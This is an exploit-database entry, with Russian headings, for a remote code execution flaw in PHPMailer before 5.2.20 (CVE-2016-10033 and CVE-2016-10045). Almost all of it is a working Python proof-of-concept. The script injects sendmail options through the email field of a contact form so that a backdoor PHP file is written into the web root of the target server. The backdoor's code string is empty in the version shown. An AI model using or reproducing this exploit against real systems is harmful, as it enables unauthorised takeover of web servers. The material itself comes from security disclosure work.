PHPMailer < 5.2.20 - Remote Code Execution

Свойства

Дата публикации:
29.12.2016
Цель:
PHPMailer < 5.2.20
Тип воздействия:
Компрометация системы

Код

#!/usr/bin/python
 
intro = """
PHPMailer RCE PoC Exploits
 
PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
+
PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
(the bypass of the first patch for CVE-2016-10033)
 
Discovered and Coded by:
 
 Dawid Golunski
 @dawid_golunski
 https://legalhackers.com
 
"""
usage = """
Usage:
 
Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
 
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
 
PoC Video:
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
 
Disclaimer:
For testing purposes only. Do no harm.
 
"""
 
import time
import urllib
import urllib2
import socket
import sys
 
RW_DIR = "/var/www/html/uploads"
 
url = 'http://VictimWebServer/contact_form.php' # Set destination URL here
 
# Choose/uncomment one of the payloads:
 
# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
#payload = '"attacker\\" -oQ/tmp/ -X%s/phpcode.php  some"@email.com' % RW_DIR
 
# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = "\"attacker\\' -oQ/tmp/ -X%s/phpcode.php  some\"@email.com" % RW_DIR
 
######################################
 
# PHP code to be saved into the backdoor php file on the target in RW_DIR
RCE_PHP_CODE = ""
 
post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE}
 
# Attack
data = urllib.urlencode(post_fields)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()